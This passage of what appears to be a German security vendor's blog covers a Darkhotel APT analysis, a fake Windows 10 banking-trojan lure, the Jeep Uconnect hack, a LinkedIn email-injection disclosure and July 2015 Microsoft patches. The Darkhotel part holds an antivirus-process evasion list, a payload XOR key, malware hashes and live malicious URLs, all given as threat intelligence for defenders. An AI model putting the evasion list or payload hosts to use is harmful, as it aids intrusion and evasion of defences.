360tray.exe,360sd.exe,360rp.exe,exeMgr.exe - Qihoo 360
ayagent.aye,avguard.;avgntsd.exe - Avira Antivirus
ccsvchst.exe,nis.exe - Symantec Norton
avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe - Avast!
msseces.exe;msmpeng.exe - Microsoft Security Essentials and Microsoft Anti-Malware Service
AVK.exe;AVKTray.exe - G-Data
avas.exe - TrustPort AV
tptray.exe - Toshiba utility
fsma32.exe;fsorsp.exe - F-Secure
econser.exe;escanmon.exe - Microworld Technologies eScan
SrvLoad.exe;PSHost.exe - Panda Software

egui.exe;ekrn.exe - ESET Smart Security
pctsSvc.exe;pctsGui.exe - PC Tools Spyware Doctor
casc.exe;UmxEngine.exe - CA Security Center
cmdagent.exe;cfp.exe - Comodo
KVSrvXP.exe;KVMonXP.exe - Jiangmin Antivirus
nsesvc.exe;CClaw.exe - Norman
V3Svc.exe - Ahnlab
guardxup. - IKARUS
FProtTray. - F-Prot
op_mon - Agnitum Outpost
vba332ldr.;dwengine. - DrWeb

Selbst die ID-Informationen, die die Backdoor auf einem System sucht, werden bis zur Laufzeit nicht entschlüsselt. Wie die Komponente “Information-Stealer” in unserem letzten technischen Bericht zu Darkhotel belegte, versucht diese Komponente einen Datensatz zu stehlen, mit dem das infizierte System identifiziert wird. Viele der Informationen werden zusammen mit demselben Aufrufsatz gesammelt, d.h. kernel32.GetDefaultSystemLangID, kernel32.GetVersion und kernel32.GetSystemInfo:

  • Voreingestellte System-Codepage
  • Netzwerkadapter-Informationen
  • Prozessor-Architektur
  • Hostname und IP-Adresse
  • Windows Betriebssystem und Service Pack Versionen

Grundsätzlich ist ein großer Teil dieses „Information-Stealer“-Codes mit dem aus vorherigen Attacken identisch.

Tisone360.com, Visits und das Flash 0-Day-Exploit von Hacking Team

Die Website tisone360.com war besonders interessant für uns. Im April 2015 verschickte die Darkhotel-Gruppe Phishing-Mails mit Links auf frühere (cve-2014) Flash-Exploits, und dann, Anfang Juli, fing sie an das zu verbreiten, was laut Berichten ein durchgesickertes Flash-0-Day-Exploit von Hacking Team ist.

Es scheint, als habe die Darkhotel APT das durchgesickerte Hacking Team Flash-0-Day-Exploit benutzt, um bestimmte Systeme anzugreifen. Wir können abgeleitet von “tisone360.com” etwas von dieser Aktivität identifizieren. Die Site war erst ab dem 22. Juli 2015 fertig und aktiv. Allerdings scheint sich ihre Aktivität keineswegs darauf zu beschränken. Neben dem icon.swf HT 0-Day-Exploit (214709aa7c5e4e8b60759a175737bb2b) scheint die Site “tisone360.com” auch ein Flash CVE-2014-0497 Exploit im April in Umlauf gebracht zu haben. Wir haben Adobe über die entsprechende Sicherheitslücke im Januar 2014 informiert, als sie von der Darkhotel-APT ausgenutzt wurde.

Kürzlich hat die Darkhotel-APT mehrere funktionierende Verzeichnisse auf dieser Site abgelegt.

Das aktivste dieser Verzeichnisse ist ims2. Es enthält eine Sammlung von Backdoors und Exploits. Am interessantesten ist dabei das Hacking Team Flash 0-Day-Exploit, icon.swf. In den Tagen nach der öffentlichen Erwähnung dieses Servers schränkte das Team den offenen Zugriff auf /ims2/ langsam ein. Auf die eine oder andere Art wurden die Inhalte aber weiterhin aktiv genutzt.

icon.swf (214709aa7c5e4e8b60759a175737bb2b) -> icon.jpg (42a837c4433ae6bd7490baec8aeb5091)
-> %temp%\RealTemp.exe (61cc019c3141281073181c4ef1f4e524)

Nachdem die Datei icon.jpg vom Flash-Exploit heruntergeladen wurde, wird es von einem Multi-Byte-XOR-Schlüssel 0xb369195a02 decodiert. Danach lädt sie weitere Komponenten.

Interessant ist, dass die Gruppe anscheinend die Kompilations- und Linker-Zeitstempel ihres ausführbaren Codes auf Daten im Jahr 2013 verschoben hat. Wir können das bei vielen Samples feststellen, die Mitte 2015 bereit gestellt und erstmals beobachtet wurden, den Downloader icon.jpg eingeschlossen.

Ein Log der Besuche des Site-Verzeichnisses bestätigt, dass das Verzeichnis am 8. Juli erstellt wurde. Eine Handvoll Besuche einer speziellen URL auf dem Server von fünf Systemen in den folgenden Ländern wurden am 8. und 9. aufgezeichnet. Bei mehreren davon handelt es sich vermutlich um Ziele der Darkhotel APT:

  • Deutschland
  • Südkorea
  • China (vermutlich untersucht)
  • US
  • Japan

Doch eins dieser Systeme überfrachete die Site am 9. Juli mit fast 12.000 Besuchen innerhalb von 30 Minuten. Dieses Traffic-Volumen scheint eher von einem lautstarken Versuch, die Site zu scannen und zu untersuchen herzurühren, als von einem DoS-Angriff:

Dokumentierte Besuche der Sites nach dem 9. Juli sind eher unsicher und könnten von weiteren Forschern stammen, als Reaktion auf den zunehmend schlechten Ruf der Site infolge der öffentlichen Berichte über den 9. Juli. Viele dieser etwa 50 Besuche stammen von einer Untergruppe der oben aufgeführten Systeme und wurden viele Male wiederholt. Weitere Besuche nach dem 10. Juli gab es von den folgenden Standorten:

  • Deutschland (vermutlich untersucht)
  • Ukraine (vermutlich untersucht)
  • Amazon Web Services, mehrere Standorte (vermutlich untersucht)
  • Googlebot, mehrere Standorte
  • USA
  • Irland (vermutlich untersucht)
  • Russland
  • Brasilien
  • China
  • Finnland
  • Kanada
  • Taiwan
  • Frankreich (vermutlich untersucht)
  • Tschechische Republik

Ein beständiger Angriffsstrom

Die Darkhotel-Gruppe hält sich an das, was funktioniert. Beispielsweise beobachteten wir jahrelang den wiederholten Einsatz von Spearphishing-Attacken, die direkt .hta-Dateien transportieren. Wie im Fall der oben beschriebenen Site tisone360.com konnten wir im Jahr 2015 wiederholt den Einsatz von kreativen Lieferketten beobachten.

Downloader -> Ansiedlung der hta-Datei -> Info Stealer -> weitere kompilierte Komponenten.
Dropper -> wsh-Skript -> wsh-Skript -> Info Stealer -> weitere kompilierte Komponenten
Spearphishing -> Dropper -> Ansiedlung der hta-Datei -> Downloader -> Info Stealer

Während die Lieferkette, die obfuskierte Skripte innerhalb von .hta-Dateien beinhaltet, bereits im Jahr 2011 erstmals eingesetzt wurde, scheint der Umfang im Jahr 2014 ebenso wie jetzt, im Jahr 2015, zugenommen zu haben.

openofficev[.]info (2015)
office-revision[.]com (2014)
online.newssupply[.]net (2011)

Verbergen der Infrastruktur

Die Gruppe achtet nun sorgfältiger darauf, ihre Sites zu bewahren und strafft den Konfigurations- und Antwort-Content. Derzeit antwortet ein C2 der Gruppe mit Bildern von “Drinky Crow” aus dem Maakies Cartoon:

Andere C2s von Darkhotel fügen sich in willkürliche Sites im Web ein, wenn inkorrekte oder fehlende Seiten besucht werden. Sie zerlegen entweder Bilder von FOTOLIA oder Artikel über Eiscremeherstellung hier:

Technische Details

HTA MD5:

021685613fb739dec7303247212c3b09
1ee3dfce97ab318b416c1ba7463ee405
2899f4099c76232d6362fd62ab730741
2dee887b20a06b8e556e878c62e46e13
6b9e9b2dc97ff0b26a8a61ba95ca8ff6
852a9411a949add69386a72805c8cb05
be59994b5008a0be48934a9c5771dfa5
e29693ce15acd552f1a0435e2d31d6df
fa67142728e40a2a4e97ccc6db919f2b
fef8fda27deb3e950ba1a71968ec7466

MD5 der Spearphishing-Anhänge:

5c74db6f755555ea99b51e1c68e796f9
c3ae70b3012cc9b5c9ceb060a251715a
560d68c31980c26d2adab7406b61c651
da0717899e3ccc1ba0e8d32774566219
d965a5b3548047da27b503029440e77f
dc0de14d9d36d13a6c8a34b2c583e70a
39562e410bc3fb5a30aca8162b20bdd0 (erstmals beobachtet 2014, benutzt bis 2015)
e85e0365b6f77cc2e9862f987b152a89 (erstmals beobachtet Ende 2014, benutzt bis 2015)

MD5 großer Downloader 2015:

5e01b8bc78afc6ecb3376c06cbceb680
61cc019c3141281073181c4ef1f4e524
3d2e941ac48ae9d79380ca0f133f4a49
fc78b15507e920b3ee405f843f48a7b3
da360e94e60267dce08e6d47fc1fcecc
33e278c5ba6bf1a545d45e17f7582512
b1f56a54309147b07dda54623fecbb89
009d85773d519a9a97129102d8116305

Infostealer aus dem Jahr 2015

61637a0637fb25c53f396c305efa5dc5
a7e78fd4bf305509c2fc1b3706567acd

Subhosts und URLs:

tisone360.com/img_h/ims2/icon.swf
tisone360.com/img_h/ims2/1.php
tisone360.com/img_h/ims2/icon.jpg
tisone360.com/noname/img/movie.swf
tisone360.com/noname/minky/face.php
tisone360.com/htdoc/ImageView.hta
tisone360.com/htdoc/page1/page.html
daily.enewsbank.net/wmpsrx64
daily.enewsbank.net/newsviewer.hta
saytargetworld.net/season/nextpage.php
sendspace.servermsys.com/wnctprx
error-page.net/update/load.php
photo.storyonboard.net/wmpsrx64
photo.storyonboard.net/photoviewer.hta
photo.storyonboard.net/readme.php
unionnewsreport.net/aeroflot_bonus/ticket.php
www.openofficev.info/xopen88/office2
www.openofficev.info/dec98/unzip.js
www.openofficev.info/open99/office32
www.openofficev.info/decod9/unzip.js

Parallele und frühere Untersuchungen:

CVE-2014-0497 – Eine 0-Day-Sicherheitslücke

Hacking Team Flash Zero-Day Tied To Attacks In Korea and Japan… on July 1

Die Darkhotel APT

Run auf Windows 10 infiziert PCs mit Spionage-Trojaner


  Bestuzhev        6 August 2015 | 14:32  MSK

Ihr Kommentar  

Aufgrund der hohen Nachfrage nach Windows 10 gibt Microsoft das neue Betriebssystem nur schrittweise heraus. Das betrifft besonders bestimmte Länder. Auf der offiziellen brasilianischen Website von Microsoft wird das bestätigt (linkes Bild). Cyberkriminelle aus Brasilien haben sich das zunutze gemacht und bieten nun im Rahmen einer Spam-Kampagne auf einer Website, deren Design der offiziellen MS-Sites detailliert nachempfunden ist, eine gefälschte Option für Nutzer an: “Windows 10 jetzt downloaden”. (rechtes Bild)

Klickt der Anwender auf den entsprechenden Link “Instalador Windows 10″ (Windows 10 Installer), so lädt er sich ein verschlüsseltes VBE-Skript auf sein System:

Es handelt sich um ein mit base64 verschlüsseltes Skript, das die legitime Motobit-Software zur Entschlüsselung verwendet:

Läuft es einmal, so transportiert es die eigentliche trojanische Spionagekomponente auf das System. Innerhalb des Codes wird zudem spaßiger brasilianischer Slang verwendet.

Das Haupt-Bankermodul ist in der Lage, Tastenanschläge zu protokollieren und Daten aus der Zwischenablage zu stehlen. Außerdem verfügt es über Backdoor-Möglichkeiten für entfernte Sitzungen und über verschiedene Anti-Debugging-Techniken und Methoden zur Erkennung von virtuellen Maschinen.

Kaspersky Anti-Virus detektiert das ursprüngliche VBE-Skript als Trojan-Downloader.VBS.Agent.aok

Kürzlich registrierten wir einen deutlichen Anstieg von VBS/VBE-Malware in Brasilien. Mein Kollege Fabio Assolini wird demnächst einen Blogpost über eine in Brasilien derzeit weit verbreitete VBE-Malware veröffentlichen.


Zero-Day: jetzt auch in Autos


  23 Juli 2015 | 15:36  MSK

Ihr Kommentar  

Denis Legezo
Andrey Nikishin

Der vergangene Dienstag war ein wichtiger Tag für die IT-Sicherheitsbranche. Forscher informierten über die Ausnutzung der ersten jemals da gewesenen Zero-Day-Sicherheitslücke (0-day) in Autos. Am Beispiel eines Jeep Cherokee wurde eine drahtlose Attacke durchgeführt.

Charlie Miller und Chris Valasek entdeckten die Schwachstelle im Bordcomputer des Wagens. Von Attacken auf solche Systeme ist schon lange die Rede - allerdings nur unter der Bedingung, wenn potentielle Verbrecher Zugriff auf die Diagnoseschnittstelle haben. Ein entfernter Angriff auf kritische Systeme eines Wagens blieb allerdings ein rein theoretisches Szenario, vor dem Experten schon seit langem warnen (unter anderem auch die Experten von Kaspersky Lab). Viele hofften allerdings, dass die Automobilhersteller sich der Risiken bewusst sind, die die Ausnutzung solcher Sicherheitslücken mit sich bringen würde, und dass sie dieses Szenario zu verhindern wüssten. Wir haben sie überschätzt.

Über das Bordcomputersystem verschafften sich die Forscher Zugriff nicht nur auf nicht kritische Einstellungen, sondern auch auf die Steuerung des Fahrzeugs. Die technischen Details des Hacks wollen die Forscher im August veröffentlichen, heute ist allerdings bereits die allgemeine Entwicklung der Ereignisse bekannt.

Hack des Fahrzeugs

Zunächst war der Fahrer nicht mehr in der Lage, die außer Rand und Band geratene Klimaanlage, das Radio und die Scheibenwischer zu steuern. Und dann verlor er die Kontrolle über das Fahrzeug selbst. Das Gaspedal und die Bremse gehorchten nur noch den Sicherheitsforschern, die irgendwo entfernt an ihren Rechnern saßen, aber nicht mehr dem Fahrer hinter dem Steuer.

Dabei muss man wissen, dass das Auto nicht modifiziert war. Die oben beschriebenen Manipulationen wurden durch eine Sicherheitslücke in dem an Bord installierten Unterhaltungssystem Uconnect ermöglicht, das für die Verbindung mit der Außenwelt über die Infrastruktur des Mobilfunkanbieters Sprint in Fahrzeugen des Autokonzerns FCA (Chrysler, Dodge, Fiat, Jeep und Ram) verantwortlich ist. Es reicht aus, die externe IP-Adresse des Opfers zu kennen, um den Code in der Haupteinheit zu überschreiben (diese Geräte werden etwas später genauer besprochen).

Der Konzern hat bereits ein Software-Patch für Uconnect herausgegeben, das entweder von offiziellen Händlern oder – mit den entsprechenden technischen Fähigkeiten – auch vom Fahrzeugführer selbst über den USB-Port installiert werden kann. Solange aber können die Forscher, nachdem sie sich mit dem Netz von Sprint verbunden haben und die von ihnen gefundene Zero-Day-Sicherheitslücke ausnutzen, die Fahrzeugidentifizierungsnummer (VIN), die GPS-Koordinaten und die IP-Adresse des Wagens sehen. Ein konkretes Fahrzeug unter 471.000 Autos mit Uconnect an Bord ausfindig zu machen, ist laut Aussage der Forscher selbst allerdings keine leichte Aufgabe.

Kaspersky Lab: Schutzkonzept

Das ist nicht der erste Vorfall, der die Mängel in den Sicherheitsmechanismen, die standardmäßig in moderne Fahrzeuge integriert sind, ans Tageslicht bringt. Bisher kam es schon zum lokalen Abfangen der Steuerung über das Diagnosegerät OBD-II und zum Austausch der Softwareaktualisierungen über eine falsche Funkbasisstation.

Ebenso wie die Hersteller von Betriebssystemen setzen nun auch die Autokonzerne selbst wichtige, notwendige, doch nicht ausreichende Sicherheitsmechanismen um. Die Situation wird dadurch zugespitzt, dass die Architektur des Bordnetzes der Automobilelektronik Mitte der 1980er Jahre entwickelt wurde, als die Vorstellung, dass Autos einmal mit dem Internet verbunden sein könnten, noch Science Fiction war. Und folglich kann man, auch wenn die elektronischen Komponenten zuverlässig und funktionell sicher sind, dasselbe nicht von ihrem Schutz vor Cyberbedrohungen behaupten. Wir bei Kaspersky Lab sind - wie auch beim Schutz von traditionellen Rechennetzen - davon überzeugt, dass vollwertige, vielschichtige Sicherheit nur durch eine Kombination der richtigen Architektur, die unter Berücksichtigung aller Risiken, darunter auch Cyberbedrohungen, entwickelt wurde, mit der Einstellung der vorinstallierten Mittel und der Installation spezialisierter Lösungen gewährleistet werden kann.

Architektur

Der Ansatz von Kaspersky Lab fußt auf zwei grundlegenden Architektur-Prinzipien: Isolation und Kommunikationskontrolle.

Die Isolation garantiert, dass zwei unabhängige Größen sich nicht gegenseitig beeinflussen können. Eine Unterhaltungsanwendung kann beispielsweise nicht auf ein technologisches Netz Einfluss ausüben. Weder an Bord eines Flugzeugs noch im Auto.

Die Kontrolle der Kommunikation garantiert, dass zwei unabhängige Einheiten, die miteinander interagieren müssen, damit das System funktioniert, dies nur in vollständiger Übereinstimmung mit der geltenden Sicherheitspolitik tun. So kann beispielsweise das System zum Sammeln von telemetrischen Daten und deren Übermittlung ins Servicecenter nur Daten über den Zustand des Fahrzeugs lesen, aber es kann keine Steuerungsbefehle weitergeben. Eine solche Kontrolle wäre auch dem Jeep-Fahrer entgegengekommen.

Der Einsatz von Kryptografie und Authentifikation zur Übermittlung und zum Empfang von Informationen von außen ist ebenfalls ein unerlässlicher Teil eines sicheren Systems. Doch den Forschungsergebnissen von Miller und Valasek nach zu urteilen, wurden im Jeep entweder schwache, angreifbare Algorithmen angewendet oder die Kryptografie wurde fehlerhaft umgesetzt.

Der beschriebene Ansatz – Isolation und Kontrolle der Verbindung – kann selbstverständlich auf die Microkernel-Architektur von Betriebssystemen mit kontrollierbarer Interprozesskommunikation übertragen werden. Jede logische Domain erhält einen eigenen Adressraum und die gesamte Kommunikation zwischen den Domains läuft immer über einen Sicherheitsmonitor.

Produkte

Von der Bordelektronik, die die kritisch wichtigen Funktionen des Fahrzeugs steuert und theoretisch Angriffen ausgesetzt sein könnte, sind besonders die Haupteinheit (Head Unit, HU) und die elektronischen Steuereinheiten (electronic control unit, ECU) zu nennen, die das gesamte Controllernetzwerk bilden. Das sind Einheiten zur Steuerung des Motors, der Getriebes, der Federung usw.

Die Haupteinheiten laufen unter Echtzeit-Betriebssystemen (real time operating systems (RTOS) – QNX, VxWorks und anderen). Kaspersky Lab beabsichtigt ein eigenes geschütztes Betriebssystem für Haupteinheiten anzubieten, sobald alle dafür notwendigen Zertifikate eingeholt wurden.

Beide oben beschriebenen Architektur-Prinzipien (Isolation und Kommunikationskontrolle) sind grundlegende Prinzipien der Funktionsweise von KasperskyOS – einem sicheren Microkernel-Betriebssystem mit kontrollierbarer Interprozesskommunikation.

Das Betriebssystem wurde grundlegend neu entwickelt und Sicherheit hatte von vornherein oberste Priorität. Darin liegt auch der wesentliche Unterschied zwischen unserer Entwicklung und Betriebssystemen, die heute auf Bordcomputern von Fahrzeugen laufen. Die Schlüsselkomponente des sicheren Betriebssystems haben wir Kaspersky Security System (KSS) genannt.

Diese Laufzeitumgebung ist für die Berechnung der Sicherheitseinstufung von Ereignissen verantwortlich, die im System geschehen. Auf der Grundlage dieser Einstufung entscheidet der Kernel des Betriebssystems, ob der jeweilige Prozess oder die Interprozesskommunikation zugelassen oder blockiert werden soll. Mit Hilfe des KSS kann jede beliebige Aktivität kontrolliert werden – der Zugriff auf Ports, Dateien, auf Netzressourcen über konkrete Anwendungen usw. Aktuell läuft KSS unter PikeOS und Linux.

Was die elektronischen Steuerungseinheiten betrifft, auf denen nur ein relativ geringer Anteil von Firmware-Code entfällt, so beabsichtigt Kaspersky Lab ebenfalls mit Entwicklern von Microelektronik zusammenzuarbeiten, um gemeinsam die Sicherheit dieser integrierten Software zu gewährleisten.

Anstelle eines Fazits

Niemand möchte wirklich auf die Vorteile und den Komfort verzichten, den die Computerisierung von Fahrzeugen mit sich gebracht hat. Doch wenn die Automobilhersteller sich nicht ernsthaft des Problems der Cyberbedrohungen annehmen, denen ein mit dem Internet verbundener Wagen ausgesetzt ist, und wenn sie nicht anfangen, dasselbe auch von den Herstellern der Automobil-Komponenten zu fordern, so werden Leute, die sich Sorgen um ihre Sicherheit machen, gezwungen sein, wieder auf klassische Fahrzeuge umzusteigen. Gut, in alten Autos gibt es keine Computer. Ja, in alten Autos gibt es auch keine computergesteuerte Einspritzung, kein Navigationssystem, keine Klimaautomatik und andere neumodische Spielereien. Dafür gehorchen sie aber ausschließlich dem Menschen hinter dem Steuer.


Forscher bei Kaspersky Lab warnen LinkedIn vor möglichen Spear-Phishing-Attacken


  Ido Naor       23 Juli 2015 | 13:19  MSK

Ihr Kommentar  

Am 14. November 2014 meldeten Forscher bei Kaspersky Lab dem weltweit größten business-orientierten sozialen Netzwerk, LinkedIn, ein Sicherheitsproblem, das für seine 360+ Millionen Nutzer zu einer kapitalen Bedrohung hätte werden können. Da LinkedIn so viele Leute aus der Geschäftswelt anzieht, hätte diese Sicherheitslücke es Angreifern ermöglichen können, effizient signierte und vertrauenswürdig wirkende Spear-Phishing-Kampagnen durchzuführen, Anmeldedaten zu stehlen und möglicherweise ausgesuchte Opfer aus der Ferne zu kontrollieren, ohne auch nur einmal Social Engineering eingesetzt zu haben.

LinkedIn machte sich umgehend daran, die Bedrohung zu beseitigen und hat mittlerweile ein Fix veröffentlicht, mit dem die Sicherheitslücke geschlossen wurde.

“Indessen sollte gewisser HTML-Content eingeschränkt sein und wir haben ein Fix veröffentlicht und den Kaspersky-Experten unseren Dank ausgesprochen; die Wahrscheinlichkeit der Ausnutzung auf gängigen modernen E-Mail-Plattformen ist äußerst gering”, sagt David Cintz, Senior Technical Program Manager beim LinkedIn Security Ecosystem.

Forscher stießen auf die Sicherheitslücke, nachdem sie in vielen Postings Unterschiede in den Fluchtsymbolen beim Posten von verschiedenen Geräten aus festgestellt hatten. Die zweite Sache, die ihre Aufmerksamkeit erregte, war eine Fehlfunktion in dem Backend-Parser der Plattform, der einfach einen CRLF (Betätigung der Enter-Taste) in einen HTML-Tag <br /> interpretiert, indem er ihn als Text auf das Posting anwendet. Beides hatte nichts miteinander zu tun, aber beides warf Fragen auf, die nach Antworten verlangten.

Auch wenn es nach keiner großen Sache klingt, kann ein kleiner Defekt wie dieser die Aufmerksamkeit von Angreifern erregen. In Hinblick auf diese zwei Fehlfunktionen waren die Forscher davon überzeugt, dass irgendetwas faul sein musste. Es scheint, als hätte es niemand bemerkt. Nur das geübte Auge konnte sehen, wie die Puzzleteile zusammengehören.

Betätigung der ENTER-Taste als Klartext <br /> Element interpretiert

Das Absenden zahlreicher Posts von einem Webbrowser hat erfolgreich einen Teil des Verhaltens dieser Unterschiede in den Fluchtsymbolen imitiert, aber es ergab keinen Hinweis darauf, wie die Anti-Cross-Site-Scripting(XSS)-Engine umgangen und ein Angriff erzeugt werden kann.

Weitere Untersuchungen brachten neue Erkenntnisse. Es gab einen Grund dafür, warum die Ausgabe von einem Gerät nicht so kodiert wurden wie von einem anderen.

Das Absenden von Kommentaren mit HTML-Tags von der Webplattform erzeugte %3C als kleiner-als-Zeichen, während dieselbe Eingabe von einem mobilen Gerät zu &lt; codiert wurde. Weitere Untersuchungen führten uns zu zwei unterschiedlichen Plattformen. Doch das bedeutete nicht, dass die Webplattform angreifbar war. Oder doch?

Ebenfalls äußerst aufschlussreich war die Erkenntnis, dass jeder Kommentar zu einem Posting über eine E-Mail-Plattform zu allen anderen Nutzern geschickt wird, die Teil der Bedrohung waren. Die Unterschiede im Körper der E-Mail bestätigten unsere Befürchtungen. Die folgenden Screenshots illustrieren die beiden Szenarien:

Von der Website geposteter Kommentar, der ordnungsgemäß escapt wurde

Von der mobilen App geposteter Kommentar ohne Escape

Dadurch war der Beweis erbracht, dass es zwei verschiedene E-Mail-Plattformen gibt, und dass mobile Benachrichtigungen dabei helfen können, schädliche Payload ohne benutzerseitig bereitgestellte Input-Validierung in Umlauf zu bringen.

Signierte E-Mail, die von LinkedIn ungeachtet ihres Inhalts zurückgegeben wird

Soziale Plattformen sind ein wichtiges Ziel für Hacker. Unternehmen im Allgemeinen werden täglich von „White Hat“-Hackern kompromittiert, die versuchen sich ein Stück vom Kuchen zu sichern, wenn es um den Schutz und die Sicherheit des Internets geht. Doch was ist, wenn ein „Black Hat“-Hacker auf das Problem stößt?

Ein Blick auf die folgende Grafik zeigt, wie diese Art von Sicherheitsproblemen einem Angreifer dabei helfen kann, die Frage nach der Verbreitung von Schadsoftware zu beantworten, die als legitime Benachrichtigung eines sozialen Netzwerkes getarnt ist.

Generischer Malware-Verbreitungszyklus

Malware-Autoren investieren eine Menge Zeit in jeden dieser Meilensteine. Jeder Schritt hat große Auswirkungen auf das Gesamtergebnis: Solide Programmierung, die auf zahlreiche Systeme/Geräte, Packer und Binder, Obfuskation und Verschlüsselung anwendbar ist, die Aufklärung mit der richtigen Verbreitungsmethode kombiniert und das richtige Zero-Day-Exploit oder Exploit findet, um das System aus der Ferne zu kontrollieren.

Um wertvolle Zeit zu sparen, finden Angreifer Wege und Mittel, um mit den Autoren in Kontakt zu treten und ihren Bedarf an jedem Meilenstein zu decken, als wären sie Waren in einem Regal. Arbeitet man die gesamte Einkaufsliste ab, um sich diese Angriffsart zusammenbrauen zu können, könnte das recht teuer werden. Eine Business-orientierte soziale Plattform, die Informationen über Millionen von Geschäftsleuten, männlich wie weiblich, ihre Titel, ihre Kollegen, Daten zu ihren Karrieren und vieles mehr enthält, kann überaus wertvoll sein. Einen Nutzer anzugreifen, ist nicht besonders schwierig, und die Ausnutzung dieser Informationen ist nur einen Kommentar entfernt.

Wähle Dein Opfer

Das Einschleusen eines schädlichen Kommentars in den Postthread eines Nutzers zieht automatisch das Versenden einer Benachrichtigung an seinen E-Mail-Account nach sich, unabhängig vom E-Mail-Provider oder der Verbindungshierarchie zwischen dem Opfer und dem Angreifer.

Auch wenn so scheint, als hätte der Anwendungsserver die gefährlichen Zeichen escapt, wird die Payload nur von der Haupt-App escapt. Das E-Mail-Template wird gesendet, wie es ist.

Einschleusen der schädlichen Payload via mobile App

Im schlimmsten Fall, wenn ein E-Mail-Provider den Inhalt einer eingehenden Mail nicht ordnungsgemäß escapt, könnte der Autor der Malware das Problem ausnutzen, um eine schädliche JavaScript-Einschleusungsattacke durchzuführen, auch bekannt als Stored XSS.

In einem anderen Szenario könnte ein passendes HTML-Formular eine Rolle spielen, das Informationen über das Opfer sammelt oder es auf eine Site weiterleitet, wo eine schädliche ausführbare Datei heruntergeladen werden kann.

Beispiel-Szenario – Diebstahl von Anmeldedaten

Im letzten November informierten die Forscher von Kaspersky Lab das Sicherheitsteam von LinkedIn über das Problem. Die Plattform wurde repariert und die Bedrohung beseitigt.

Wie Sie vermeiden können, selbst zum Opfer zu werden:

  1. Verwenden Sie eine moderne Internet Security-Lösung, um gefährliche Umleitungen auf Sever herauszufiltern, die Schadprogramme, Phishing-Links und anderes enthalten. Wenn Sie bereits eine solche Lösung installiert haben, halten Sie sie immer auf dem neusten Stand.
  2. In Attachments oder unter Links – selbst wenn sie von bekannten Personen stammen – kann sich schädlicher Inhalt verbergen. Überlegen Sie es sich gut, ob Sie sie öffnen oder nicht.
  3. Melden Sie sich nicht mit Ihrer Dienst-E-Mail-Adresse bei sozialen Plattformen an.

Microsoft Security Updates Juli 2015


  Kurt Baumgartner       17 Juli 2015 | 16:14  MSK

Ihr Kommentar  

Ein Monat der Sicherheitslücken in RDP und Hyper-V, die das entfernte Ausführen von willkürlichem Code ermöglichen, ein Monat der eingeschränkten zielgerichteten Ausnutzung und der verantwortungsvollen Offenlegung

Microsoft hat diese Woche eine lange Liste von Updates für zahlreiche Technologien mit 14 Sicherheitsbulletins (MS15-058, MS15-065 – MS15-077) veröffentlicht, die 58 Schwachstellen beseitigen, von denen mindestens 47 durch einen verantwortungsvollen Offenlegungskanal gemeldet wurden. Unterdessen werden viele ausgenutzt und als Teil eingeschränkter zielgerichteter Attacken in freier Wildbahn entdeckt, wie z.B. die Microsoft Office RCE cve-2015-2424, ATMFD.DLL EoP cve-2015-2387 und das Internet Explorer JScript9 RCE cve-2015-2419. Einige von ihnen waren auch die Folge von Lecks. Einige haben ein sehr attraktives offensives Tool, um sich zu schützen, daher ist zu erwarten, dass diese Exploits immer wieder verwendet und reaktiviert werden. Die meisten Juli-Updates fallen in zwei Hauptkategorien, und die aktualisierten Technologien sind unten aufgelistet. Alle Windows-Versionen ab Windows 7 und höher haben eine kritische RCE-Sicherheitslücke der einen oder anderen Art. Aktualisieren Sie so schnell wie möglich.

Sicherheitslücken, die das entfernte Ausführen von willkürlichem Code ermöglichen, in:

  • Windows Server Hyper-V
  • Windows DLL Handling
  • SQL Server
  • Internet Explorer
  • VBScript Engine
  • Remote Desktop Protocol (RDP)
  • Microsoft Office

Sicherheitslücken, die die Erhöhung der Privilegien ermöglichen, in:

  • Windows Graphics Component
  • Windows Kernel (win32k.sys)
  • Windows Installer Service
  • OLE
  • Windows Remote Procedure Call Service
  • Windows ATM Font Driver
  • SQL Server

Sicherheitslücken, die in andere Kategorien fallen, wie XSS-Filter-Umgehung, Aufdeckung von Informationen, ASLR-Umgehung, gefälschte Authentifizierung, betreffen die folgenden Technologien:

  • Internet Explorer
  • Microsoft Excel
  • Netlogon
  • Windows Kernel (win32k.sys)

Zu den interessantesten dieser Sicherheitslücken zählen die RDP-RCE und die Hyper-V RCE. Die RDP-Schwachstelle betrifft sogar die zurückgebaute Windows Server 2012 Server Core-Installation, und sie wurde anscheinend von einer anonymen Quelle gemeldet, die – was ungewöhnlich ist – keine Anerkennung für die Entdeckung einer entfernt ausnutzbaren kritischen Sicherheitslücke wollte, in einem Service, der häufig nach außen gefährdet ist. Während Microsoft daran zweifelt, dass entfernte Codeausführung verlässlich ist, so räumen sie zumindest die Möglichkeit ein. In der Vergangenheit wurde ihr Dementi von Forschern dementiert, die das Potential für Heap Feng Shui untersuchten, das zur Ausnutzung gewisser Services führte, inklusive den 2010-Bug in ihrem IIS FTPsvc.

Ein anderes Pärchen sind die Hyper-V RCE, bei der es sich um eine Pufferüberlauf-Sicherheitslücke - cve-2015-2361 – in dem Storvsp.sys-Treiber und eine ungewöhnliche “Datenstruktur-Sicherheitslücke” - cve-2015-2362 – in Vmicrdv.dll, Vmicvss.dll, Vmicshutdown.dll, Vmictimesync.dll, Vmicheartbeat.dll und Vmickvpexchange.dll handelt, die über Windows Hyper-V auf Windows Server 2008, Windows Server 2008 R2, Windows 8 und Windows Server 2012 und Windows 8.1 und Windows Server 2012 R2 verfügbar sind. Beide wurden von einem Microsoft-Mitarbeiter gefunden. Wie auch schon vor Jahren das Cloudburst-Exploit auf der VMWare, ermöglichen diese Sicherheitslücken die Ausführung von Code mit Entkommen aus einem virtuellen Gast-Betriebssystem auf das Hostsystem.

Hier die vollständige Liste der aktualisierten gefixten Sicherheitslücken:

cve-2015-1729
cve-2015-1733
cve-2015-1738
cve-2015-1761
cve-2015-1762
cve-2015-1763
cve-2015-1767
cve-2015-2361
cve-2015-2362
cve-2015-2363
cve-2015-2364
cve-2015-2365
cve-2015-2366
cve-2015-2367
cve-2015-2368
cve-2015-2369
cve-2015-2370
cve-2015-2371
cve-2015-2372
cve-2015-2373
cve-2015-2374
cve-2015-2375
cve-2015-2376
cve-2015-2377
cve-2015-2378
cve-2015-2379
cve-2015-2380
cve-2015-2381
cve-2015-2382
cve-2015-2383
cve-2015-2384
cve-2015-2385
cve-2015-2387
cve-2015-2388
cve-2015-2389
cve-2015-2390
cve-2015-2391
cve-2015-2397
cve-2015-2398
cve-2015-2401
cve-2015-2402
cve-2015-2403
cve-2015-2404
cve-2015-2406
cve-2015-2408
